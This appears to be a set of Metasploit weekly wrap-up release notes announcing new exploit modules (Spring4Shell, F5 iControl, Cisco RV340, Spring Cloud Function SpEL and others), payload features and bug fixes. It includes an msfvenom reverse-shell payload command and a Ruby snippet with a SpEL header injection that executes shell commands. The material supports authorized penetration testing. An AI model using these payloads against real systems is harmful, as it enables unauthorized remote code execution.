Category: Metasploit Weekly Wrapup

Spring4Shell module

Community contributor vleminator added a new module which exploits CVE-2022-22965—more commonly known as "Spring4Shell." Depending on its deployment configuration, Java Spring Framework versions 5.3.0 to 5.3.17, 5.2.0 to 5.2.19, and older can be vulnerable to unauthenticated remote code execution.

F5 BIG-IP iControl RCE via REST Authentication Bypass module

In addition, we have a new module that targets F5 iControl and exploits CVE-2022-1388, from contributor heyder. This vulnerability allows attackers to bypass iControl's REST authentication on affected versions and achieve unauthenticated remote code execution as root via the /mgmt/tm/util/bash endpoint.

Cisco RV340 SSL VPN RCE module

The last of the new RCE modules this week—community contributor pedrib added a Cisco RV340 SSL VPN module, which exploits CVE-2022-20699. This module exploits a stack buffer overflow in the default configuration of Cisco RV series routers, and does not require authentication. This module also works over the internet and does not require local network access.

First Class PowerShell Command Payloads

Metasploit has had the ability to execute native 64-bit and 32-bit Windows payloads for quite some time. This functionality was exposed to module authors by way of a mixin which meant that a dedicated target needed to be written. This placed an additional development burden on module authors who wanted to offer powershell commands for in-memory code execution of native payloads. Now module authors can just define the standard command target, and users can select one of the new cmd/windows/powershell* payloads. The new adapter will convert the native code into a powershell command automatically, without additional effort from the module developer.

Since these are new payload modules, they can also be generated directly using MSFVenom:

./msfvenom -p cmd/windows/powershell/meterpreter/reverse_tcp LHOST=192.168.159.128

This is similar to using one of the psh- formatters with the existing -f option. However, because it’s a payload module, the additional Powershell specific options are accessible. For example, the resulting command can be base64-encoded to remove many special characters by setting Powershell::encode_final_payload=true.

New module content (4)

• F5 BIG-IP iControl RCE via REST Authentication Bypass by Heyder Andrade, James Horseman, Ron Bowes, and alt3kx, which exploits CVE-2022-1388 - A new module has been added for CVE-2022-1388, a vulnerability in F5 BIG-IP 16.1.x versions prior to 16.1.2.2, 15.1.x versions prior to 15.1.5.1, 14.1.x versions prior to 14.1.4.6, 13.1.x versions prior to 13.1.5, and all 12.1.x and 11.6.x versions. By making a special request, one can bypass iControl REST authentication and gain access to administrative functionality. This can be used by unauthenticated attackers to execute arbitrary commands as the root user on affected systems.
• Cisco RV340 SSL VPN RCE from pedrib, which exploits CVE-2022-20699 - A new module has been added which exploits CVE-2022-20699, an unauthenticated stack overflow RCE vulnerability in the Cisco RV 340 VPN Gateway router. Successful exploitation results in RCE as the root user. This exploit can be triggered over the internet and does not require the attacker to be on the same network as the victim.
• Spring Framework Class property RCE (Spring4Shell) by vleminator, which exploits CVE-2022-22965 - This adds a module that targets CVE-2022-22965, a remote code execution vulnerability in some installations of Spring Framework versions 5.3.0 to 5.3.17, 5.2.0 to 5.2.19, and older. To be vulnerable, the application must be running on JDK 9+ and in this case, packaged and deployed as a war file, though it may be possible to bypass these limitations later.
• Powershell Command Adapter from zeroSteiner - This adds a new payload adapter for converting native x86 and x64 Windows payloads to command payloads using Powershell.

Enhancements and features (4)

• #16529 from dwelch-r7 - This updates Mettle payloads to support logging to file and now uses the same options as the other Meterpreters. For example within msfconsole:

VMware Workspace ONE Access RCE

Community contributor wvu has developed a new Metasploit Module which exploits CVE-2022-22954, an unauthenticated server-side template injection (SSTI) in VMware Workspace ONE Access, to execute shell commands as the ‘horizon’ user. This module has a CVSSv3 base score of 9.8, and a full technical analysis can be found on the official Rapid7 Analysis

WSO2 Arbitrary File Upload to RCE

Our very own Jack Hysel has contributed a new module for CVE-2022-29464. Multiple WSO2 products are vulnerable to an unrestricted file upload vulnerability that results in RCE. This module builds a java/meterpreter/reverse_tcp payload inside a WAR file and uploads it to the target via the vulnerable file upload. It then executes the payload to open a session. A full technical analysis can be found on the official Rapid7 Analysis

Kiwi Meterpreter Updates - Windows 11 Support

Redis Sandbox Escape

Our very own Jake Baines wrote a module that performs a sandbox escape on Redis versions between 5.0.0 and 6.1.0 and achieves remote code execution as the redis user. Redis installations can be password protected, so this module supports exploiting the vulnerability with and without authentication.

While this module targets Redis software, the vulnerability (CVE-2022-0543) only presents itself on Debian-based Linux distributions due to the Lua package interface remaining enabled. The existence of the Lua package interface means that arbitrary libraries can be loaded and used to evade the protections of the sandbox. This vulnerability has been reported as being exploited in the wild.

Antivirus Enumeration

Thanks to sempervictus we now have a post module for enumerating installed antivirus products on Windows systems. Using either a Meterpreter or shell session, the module detects these installations through WMI queries and saves the information to the database. Some of the data returned includes versioning information, possibly clueing a user in on a potential next target for privilege escalation.

New module content (2)

• Redis Lua Sandbox Escape by Reginaldo Silva and jbaines-r7, which exploits CVE-2022-0543 - This exploit achieves remote code execution as the redis user via a sandbox escape in several Redis versions distributed through Debian-based Linux distributions.
• Windows Installed AntiVirus Enumeration by rageltman - This adds a module that enumerates all installed AV products on Windows.

Enhancements and features (1)

ManageEngine ADSelfService Plus Authenticated RCE

This module is pretty exciting for us because it's for a vulnerability discovered by our very own Rapid7 researchers Jake Baines, Hernan Diaz, Andrew Iwamaye, and Dan Kelly.
The vulnerability allowed for attackers to leverage the "custom script" functionality to execute arbitrary operating system commands whenever domain users reset their passwords.
I won't go into too much depth though because we have a whole blog post here for you to check out with all the details!
Oh, and I almost forgot to mention this module comes with a brand new jjs_reverse_tcp payload too.

Who watches the watch_queue?

This week we've also brought you an LPE for Linux via the watch_queue event notification system.
The module exploits a heap out-of-bounds write in kernel memory in versions prior to 5.18 but keep in mind the module currently only has the appropriate offsets for Ubuntu 20.10 with kernel version 5.13.0-37.

New module content (2)

• Watch Queue Out of Bounds Write by Jann Horn, bonfee, and bwatters-r7, which exploits CVE-2022-0995
• ManageEngine ADSelfService Plus Custom Script Execution by Andrew Iwamaye, Dan Kelley, Hernan Diaz, and Jake Baines, which exploits CVE-2022-28810 - This adds an exploit for CVE-2022-28810 which is an authenticated RCE in ManageEngine ADSelfService Plus.

Enhancements and features (6)

• #16437 from h00die - Adds ESXi as a recognizable type on ssh_login.
• #16438 from h00die - Some SMTP servers only give out credentials when prompted. Now, the module option 'AUTHPROMPT' exists to indicate whether or not the auth prompt is required by the server.
• #16446 from zeroSteiner - This updates the code for compatibility with the latest RubySMB 3.1 gem.
• #16458 from bcoles - The fortios_vpnssl_traversal_creds_leak module has been updated to appropriately attribute the original discoverers of the vulnerability and to credit their original blog post and research presentations.
• #16476 from bcoles - The tools/dev/msftidy.rb tool has been updated to recommend using CVE datastore references over the cve.mitre.org URL references since this is more maintainable in the long run and will assist transitioning things when CVE transitions to cve.org later this year.
• #16477 from bcoles - This PR updates several modules to remove hardcoded URL references to the soon to be deprecated cve.mitre.org site, and where applicable, add in CVE references in place of these hardcoded URL references.

Meterpreter Debugging

A consistent message Metasploit hears from users is that debugging and general logging support could be improved. The gaps in functionality make it difficult for users to understand what happens when things go wrong and for new and existing developers to fix bugs and add new features. The Metasploit team has been trying to improve this in various parts of the framework, the most recent being Meterpreter. Meterpreter payloads now have additional debugging options that can be used to inspect the internal workings of the payload as it is running. These options include MeterpreterDebugLogging, which can be used to select where the log file is placed on the remote machine, and MeterpreterDebugBuild, which controls whether or not the deployed Meterpreter supports debugging. For many Meterpreter builds, the additional debugging information would include large, easily signature-able strings that should not be present for typical operations. For this reason, users on active engagements that do not require additional logging should leave this setting off.

This functionality pairs nicely with the recently added SessionTlvLogging option, which can display the C2 traffic used by Meterpreter. With these options, both the internal state and the individual requests and responses can be inspected to understand what is happening. This should hopefully contribute to making Meterpreter a little less enigmatic.

WordPress Library Improvement

Metasploit contains quite a few modules targeting various WordPress vulnerabilities, many of which are in plugins. Almost all of these modules utilize the common WordPress library that Metasploit provides. This week that library was improved to properly handle target WordPress configurations that do not place the REST API under the standard /index.php/ path. This should improve the reliability of these modules by properly accounting for the target’s configuration.

Enhancements and features (5)

• #16377 from sjanusz-r7 - The Python Meterpreter payload now supports creation of a debug build with the MeterpreterDebugBuild datastore option. By default logging will be output to the console that the payload was run in. A new MeterpreterDebugLogging datastore option allows writing these log files on the host that ran the payload.
• #16396 from sjanusz-r7 - The PHP Meterpreter payload now supports creation of a debug build with the MeterpreterDebugBuild datastore option. By default logging will be output to the console the payload was run in. A new MeterpreterDebugLogging datastore option allows for writing these log files on the host that ran the payload.
• #16411 from jmartin-r7 - Improves the RPC analyze host functionality to return additional module suggestion metadata such as invalid options or missing module requirements.
• #16418 from adfoster-r7 - This adds the boilerplate for placing the debugging Meterpreter sessions wiki page to the docs site.
• #16451 from dwelch-r7 - This ensures that if MeterpreterDebugBuild is enabled, that the debug versions of the extensions are also used. This allows extensions can now also output debug messages visible via tools such as dbgview, which can be helpful when debugging payloads or Meterpreter extensions.

Bugs fixed (2)

• #16221 from gwillcox-r7 - This fixes WordPress support to work with sites where the REST API is not under /index.php/.
• #16455 from adfoster-r7 - This removed the requirement for railgun support in modules that used the Post::File mixin, enabling better identification of modules usable against an existing session.

CVE-2022-22963 - Spring Cloud Function SpEL RCE

A new exploit/multi/http/spring_cloud_function_spel_injection module has been developed by our very own Spencer McIntyre which targets Spring Cloud Function versions Prior to 3.1.7 and 3.2.3. This module is unrelated to Spring4Shell CVE-2022-22965, which is a separate vulnerability in the WebDataBinder component of Spring Framework.

This exploit works by crafting an unauthenticated HTTP request to the target application. When the spring.cloud.function.routing-expression HTTP header is received by the server it will evaluate the user provided SpEL (Spring Expression Language) query, leading to remote code execution. This can be seen within the CVE-2022-22963 Metasploit module:

res = send_request_cgi(
    'method' => 'POST',
    'uri' => normalize_uri(datastore['TARGETURI']),
    'headers' => {
    'spring.cloud.function.routing-expression' => "T(java.lang.Runtime).getRuntime().exec(new String[]{'/bin/sh','-c','#{cmd.gsub("'", "''")}'})"
    }
)

Both patched and unpatched servers will respond with a 500 server error and a JSON encoded message

Capture Plugin

Capturing credentials is a critical and early phase in the playbook of many offensive security testers. Metasploit has facilitated this for years with protocol-specific modules all under the auxiliary/server/capture. Users can start and configure each of these modules individually, but now the capture plugin can streamline the process. The capture plugin can easily start 13 different services (17 including SSL enabled versions) on the same listening IP address including remote interfaces via Meterpreter. A configuration file can be used to select individual services to start and once finished, all services can easily be stopped using a single command.

To use the plugin, it must first be loaded. That will provide the captureg command (for Capture-Global) which then offers start and stop subcommands. In the following example, the plugin is loaded, and then all default services are started on the 192.168.159.128 interface.

NATed Services

This week Metasploit added features to libraries that provide listening services like HTTP, FTP, LDAP, etc. that allow them to be bound to an explicit IP address and port combination that is independent of what is typically the SRVHOST option. This is particularly useful for modules to be used in scenarios where the target needs to connect to Metasploit through either a NAT or port-forward configuration. The use of this feature mimics the existing functionality that’s provided by the reverse_tcp and reverse_http(s) payload stagers.

When a user needs the target to connect to 10.2.3.4, the Metasploit user would set that as the SRVHOST. If, however, that IP address is the external interface of a router with a port forward, Metasploit won’t be able to bind to it. To fix that, users can now set the ListernBindAddress option to one that Metasploit can listen on. In this case, the IP address that the router will forward the incoming connection to.

For example, with the network configuration:

Private IP: 172.31.21.26 (where Metasploit can bind to)
External IP: 10.2.3.4 (where the target connects to Metasploit)

The Metasploit module commands would be:

set srvhost 10.2.3.4
set ListenerBindAddress 172.31.21.26

set lhost 10.2.3.4
set ReverseListenerBindAddress 172.31.21.26

Enhancements and features (4)

• #16249 from gwillcox-r7 - This expands on the work done in https://github.com/rapid7/metasploit-framework/pull/16164 and adds in a new library named Msf::Exploit::Remote::HTTP::Exchange which will allow for future Exchange library functions.
• #16250 from zeroSteiner - Adds new ListenerBindPort and ListenerBindAddress options on modules which expose services such as HTTP, SMB, LDAP, FTP, etc. This allows users to specify a separate IP/Port to bind to, in addition to providing SRVHOST/SRVPORT values. These additional options are useful if Metasploit is running in a network behind a NAT, or when pivoting through a compromised target. The naming convention is similar to the payload options ReverseListenerBindAddress and ReverseListenerBindPort
• #16298 from smashery - This adds the new "capture" plugin which can be used to easily start and stop credential-capturing services.
• #16352 from adfoster-r7 - The discussion tag has been added to allow for more long term discussions. This will replace the existing Discussions tab, and issues marked as such will not be automatically closed.

Bugs fixed (12)

• #16207 from h00die - The VNC libraries and associated modules have been updated to support more modern versions of VNC and to fix a few bugs so that they will work correctly with new VNC versions.
• #16309 from HynekPetrak - This fixes an issue where the ssh_login module would crash when the channel used to execute the commands to gather the platform information reported that they failed.
• #16317 from smashery - This fixes an issue with multiple modules that listen on UDP sockets where the modules were not closing and freeing the socket when their respective services were stopped.
• #16325 from sjanusz-r7 - This PR replaces IO.read with File.binread, in scenarios where it's obvious that we're reading from binaries, to prevent an issue where not all of the file has been read correctly due to an additional EOL<->CRLF conversion that happens on Windows.
• #16340 from bcoles - This fixes the APK injection behavior to use aapt2 if msfvenom is unable to rebuild the APK with apktool, allows more APKs to be compatible with msfvenom, and fixes a bug.
• #16341 from h00die - This fixes a bug where the auxiliary/server/capture/vnc module would not output hashes in a format compatible with John The Ripper and a bug that was causing crashes due to assuming hashes always had an associated username. Additionally, support has been added for exporting VNC hashes into a JTR compatible format for later cracking and the hash_identify function has been updated to properly identify VNC hashes allowing for better hash detection.
• #16353 from jmartin-r7 - A bug has been fixed in the Anemone library and in the HTTP crawler libraries and related module to allow pulling and setting of ssl_version from standardized options. This permits fine-grained user control and avoids issues related to missing or depreciated SSL versions in newer Ruby versions, which were at times preventing Metasploit from making successful connections to targets.
• #16358 from bcoles - This change fixes a bug in the msfvenom APK injection code, where in some situations a suitable hook point could not be found.
• #16367 from zeroSteiner - A bug was found in the way character escaping was done in apache_apisix_api_default_token_rce which has now been fixed. In addition, several updates have been made to better handle error cases that may occur when sending HTTP requests to the target.
• #16368 from zeroSteiner - This improves response time when a cache miss occurs for commands not provided by msfconsole.
• #16369 from sjanusz-r7 - This change fixes shell_to_meterpreter module to allow upgrading (or duplicating) Meterpreter sessions.
• #16371 from AlanFoster - This fixes a crash in the WebSocket library used by the Kubernetes modules that would occur when a socket method was being called that's only provided by the Rex version.
• #16361 from bcoles - Thisadds docs for the adb_server_exec module.
